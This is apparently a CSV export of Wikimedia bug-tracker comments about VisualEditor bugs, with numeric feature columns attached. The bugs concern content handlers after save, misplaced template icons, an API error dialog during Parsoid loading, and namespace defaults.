255843,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save",It also affects the MathJax renderer see http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Minor_redisplay_glitch,,,1374342847,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,38.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.625,1.0,It also affects the MathJax renderer see URL
255838,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","Some cases (e.g. navigation popups) may not want to fire in editing mode.  I'm not sure if that's best done with a separate hook, or just by making the listener check the mode.",,,1374274354,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,True,,,2,,2.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,3.5121951219512195,0.9024390243902439,"Some cases (e.g. navigation popups) may not want to fire in editing mode.  I'm not sure if that's best done with a separate hook, or just by making the listener check the mode."
255834,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","We may need this to fire when we re-render parts of the document in editing mode, e.g. you are using the Math extension with JS rendering (MathJax), or you re-render a template containing a makecollapsible.",,,1374176027,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,2.0,9.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,9.0,14.0,7.0,0.0,0.0,0.0,9.0,0.0,2.0,5.0,0.0,7.0,0.0,0.0,0.0,3.909090909090909,0.8409090909090909,"We may need this to fire when we re-render parts of the document in editing mode, e.g. you are using the Math extension with JS rendering (MathJax), or you re-render a template containing a makecollapsible."
255829,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","Change 74313 had a related patch set uploaded by Krinkle:
mediawiki.page.ready: Use wikipage.content instead of domready

https://gerrit.wikimedia.org/r/74313",,,1374111569,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.619047619047619,0.9523809523809523,"Change 74313 had a related patch set uploaded by Krinkle:
mediawiki.page.ready: Use wikipage.content instead of domready

GERRIT_URL"
255821,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save","No, we should not refresh because of this. This is not a new bug, this is a known issue in mediawiki core for years with ""live preview"".

The difference being that in 2013 (unlike several years ago when live preview came along) we have solved this. Recently I developed mw.hook in core with an event ""wikipage.content"". Gadgets should listen to that instead of document-ready.

Refreshing for every rendering is not a solution but a work around to have the native browser document trigger ""ready"" again. The solution is to have these wikipage (not html document) related actions be bound to its ready event and be able to fire that on-demand if the wiki page has changed (e.g. due to ajax navigation, live preview or page rendering like VisualEditor).

This has been solved and it is up to gadgets to start using it.

I'm rephrasing this bug to instead be a task for VisualEditor to start using this event (like LivePreview does in core).",,,1374089581,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,True,,,2,,1.0,0.0,0.0,1.0,2.0,7.0,4.0,0.5,0.0,0.5,3.5,0.5,0.0,0.0,0.0,2.0,0.5,6.5,14.5,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,5.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,3.5,0.0,0.5,0.0,0.0,0.0,14.5,2.5,3.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,5.0,5.0,6.5,2.0,2.0,10.5,0.0,0.0,0.0,0.0,5.0,0.5,0.5,0.0,3.5,14.5,3.0,0.0,3.0,0.0,3.5,0.0,0.5,3.0,0.0,1.5,0.0,0.0,0.0,3.9393939393939394,0.6818181818181819,"No, we should not refresh because of this. This is not a new bug, this is a known issue in mediawiki core for years with ""live preview"".

The difference being that in 2013 (unlike several years ago when live preview came along) we have solved this. Recently I developed mw.hook in core with an event ""wikipage.content"". Gadgets should listen to that instead of document-ready.

Refreshing for every rendering is not a solution but a work around to have the native browser document trigger ""ready"" again. The solution is to have these wikipage (not html document) related actions be bound to its ready event and be able to fire that on-demand if the wiki page has changed (e.g. due to ajax navigation, live preview or page rendering like VisualEditor).

This has been solved and it is up to gadgets to start using it.

I'm rephrasing this bug to instead be a task for VisualEditor to start using this event (like LivePreview does in core)."
255811,"VisualEditor: Re-run wikipage content handlers (jquery.makeCollapsible, jquery.tablesorter) when rendering new revision after save",*** Bug 51568 has been marked as a duplicate of this bug. ***,,,1374088447,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-a3yp2evtjuq3hjqdrvhc,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51568 has been marked as a duplicate of this bug. ***
53548,VisualEditor: Node action icon (e.g. for template) appearing in wrong location,"screenshot of the template edit icon in the wrong place

I inserted an image into an article using the VE, then I selected the infobox on the article. Instead of appearing on the infobox like it usually would, the puzzle icon for editing the infobox template appeared on the newly-inserted image.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52547

**Attached**: {F11877}",Medium,50.0,1374077760,1423881296.0,PHID-USER-nyv6rqxnzdy3oe323a3d,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ca6crnotrmabx3jkz5wk,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,8.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.7395833333333335,0.53125,"screenshot of the template edit icon in the wrong place

I inserted an image into an article using the VE, then I selected the infobox on the article. Instead of appearing on the infobox like it usually would, the puzzle icon for editing the infobox template appeared on the newly-inserted image.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F11877}"
411500,VisualEditor: Node action icon (e.g. for template) appearing in wrong location,">>! In T53548#1034742, @Elitre wrote:
> I think this is still happening. See for example https://fr.wikipedia.org/w/index.php?title=Parox%C3%A9tine&veaction=edit&vesection=10 ; the list of ""Effets secondaires détaillés"" is actually a template. The blue area when you select it looks like a cross in Chrome and Opera, with the puzzle piece icon overlapping the picture at the right.

That looks like it's {T52036} alone?",,,1423881296,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ca6crnotrmabx3jkz5wk,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.9285714285714286,"QUOTE
QUOTE

That looks like it's {T52036} alone?"
410602,VisualEditor: Node action icon (e.g. for template) appearing in wrong location,"I think this is still happening. See for example https://fr.wikipedia.org/w/index.php?title=Parox%C3%A9tine&veaction=edit&vesection=10 ; the list of ""Effets secondaires détaillés"" is actually a template. The blue area when you select it looks like a cross in Chrome and Opera, with the puzzle piece icon overlapping the picture at the right.",,,1423765790,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ca6crnotrmabx3jkz5wk,task_subcomment,,True,c1,3,False,,,84,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,9.0,4.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,13.0,4.0,13.0,2.0,2.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,11.0,4.0,0.0,4.0,0.0,6.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,4.018867924528302,0.8490566037735849,"I think this is still happening. See for example URL ; the list of ""Effets secondaires détaillés"" is actually a template. The blue area when you select it looks like a cross in Chrome and Opera, with the puzzle piece icon overlapping the picture at the right."
254632,VisualEditor: Node action icon (e.g. for template) appearing in wrong location,All test cases provided appear to be working now.,,,1405201255,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ca6crnotrmabx3jkz5wk,task_subcomment,,True,c1,3,True,,,53,,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.1,1.0,All test cases provided appear to be working now.
254627,VisualEditor: Node action icon (e.g. for template) appearing in wrong location,*** Bug 60652 has been marked as a duplicate of this bug. ***,,,1393455560,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ca6crnotrmabx3jkz5wk,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 60652 has been marked as a duplicate of this bug. ***
254624,VisualEditor: Node action icon (e.g. for template) appearing in wrong location,The new attachment refers to VEditing of https://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox_VE&diff=61361267&oldid=61290806 .,,,1378477636,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ca6crnotrmabx3jkz5wk,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,33.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,1.0,The new attachment refers to VEditing of URL .
254619,VisualEditor: Node action icon (e.g. for template) appearing in wrong location,"Created attachment 13252
An icon far, far away...

**Attached**: {F11878}",,,1378477567,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ca6crnotrmabx3jkz5wk,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.8095238095238095,"Created attachment 13252
An icon far, far away...

**Attached**: {F11878}"
53546,VisualEditor: Abandoning VE load by navigating away before Parsoid load complete throws API error dialog,"1. Click 'Edit'
2. Click 'Edit source' quickly before VE has loaded
3. You are show an API error in a confirm box 'Error loading data from server: error. Would you like to retry?', both OK & cancel let you navigate to edit source.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374077220,1391025576.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-brtl2hvq3mpywf2r3lkp,task_description,resolved,True,c1,3,True,False,False,2,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,4.0,6.0,9.0,1.0,8.0,0.0,4.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,3.3461538461538463,0.6538461538461539,"1. Click 'Edit'
2. Click 'Edit source' quickly before VE has loaded
3. You are show an API error in a confirm box 'Error loading data from server: error. Would you like to retry?', both OK & cancel let you navigate to edit source.

--------------------------
**Version**: unspecified
**Severity**: normal"
254544,VisualEditor: Abandoning VE load by navigating away before Parsoid load complete throws API error dialog,*** Bug 57267 has been marked as a duplicate of this bug. ***,,,1395360091,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-brtl2hvq3mpywf2r3lkp,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 57267 has been marked as a duplicate of this bug. ***
254538,VisualEditor: Abandoning VE load by navigating away before Parsoid load complete throws API error dialog,"\o/

Thanks, Alex and Roan!",,,1391042211,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-brtl2hvq3mpywf2r3lkp,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"\o/

Thanks, Alex and Roan!"
254533,VisualEditor: Abandoning VE load by navigating away before Parsoid load complete throws API error dialog,"Change 110108 merged by jenkins-bot:
Stop API error dialog popping up if you navigate away from the page while Parsoid loads

https://gerrit.wikimedia.org/r/110108",,,1391020997,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-brtl2hvq3mpywf2r3lkp,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,19.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 110108 merged by jenkins-bot:
Stop API error dialog popping up if you navigate away from the page while Parsoid loads

GERRIT_URL"
254527,VisualEditor: Abandoning VE load by navigating away before Parsoid load complete throws API error dialog,"Change 110108 had a related patch set uploaded by Alex Monk:
Stop API error dialog popping up if you navigate away from the page while Parsoid loads

https://gerrit.wikimedia.org/r/110108",,,1390954780,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-brtl2hvq3mpywf2r3lkp,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,23.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,16.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.354838709677419,1.0,"Change 110108 had a related patch set uploaded by Alex Monk:
Stop API error dialog popping up if you navigate away from the page while Parsoid loads

GERRIT_URL"
53527,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"Currently it is impossible to use Visual Editor in the pages of Portuguese Wikipedia which are on namespace 102 (""Anexo""), because the default value of $wgVisualEditorNamespaces is set to array( NS_MAIN ) instead of the $wgContentNamespaces (which usually, but not always is just array( NS_MAIN )). These pages are also articles, and as such should be editable by VisualEditor as any other article.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52188",Medium,50.0,1374063480,1383942801.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-iudy2zuexclkhlwqjbkn,task_description,resolved,True,c1,3,False,False,False,2,,1.0,0.0,0.0,0.5,0.5,5.5,2.0,0.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,8.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,4.0,11.0,0.5,1.5,4.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,0.5,7.0,4.5,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.009433962264151,0.6886792452830188,"Currently it is impossible to use Visual Editor in the pages of Portuguese Wikipedia which are on namespace 102 (""Anexo""), because the default value of $wgVisualEditorNamespaces is set to array( NS_MAIN ) instead of the $wgContentNamespaces (which usually, but not always is just array( NS_MAIN )). These pages are also articles, and as such should be editable by VisualEditor as any other article.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
253556,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"Thanks! I've updated our docs :-)
https://pt.wikipedia.org/w/index.php?diff=37359406",,,1384506400,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,"Thanks! I've updated our docs :-)
URL"
253551,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"(In reply to comment #6)
> (In reply to comment #4)
> > Why is this not working on Portuguese Wikipedia? Our ""Anexo"" namespace is a
> > content namespace but this doesn't work:
> > 
> > https://pt.wikipedia.org/wiki/Anexo:Lista_de_listas?veaction=edit
> 
> This was because of how VE was configured to be used in WMF production; have
> done a config patch (above) which fixes this - will get it pushed out on
> Tuesday.

Just to confirm, this is now done. Sorry!",,,1384484254,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iudy2zuexclkhlwqjbkn,task_subcomment,,True,c1,3,True,,,19,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,32.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,5.0,3.0,3.0,0.0,0.0,8.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8947368421052633,0.5526315789473685,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Just to confirm, this is now done. Sorry!"
253547,VisualEditor: Default $wgVisualEditorNamespaces to $wgContentNamespaces instead of array( NS_MAIN ),"Change 94420 merged by jenkins-bot:
Make VisualEditor namespaces extend, not replace, default

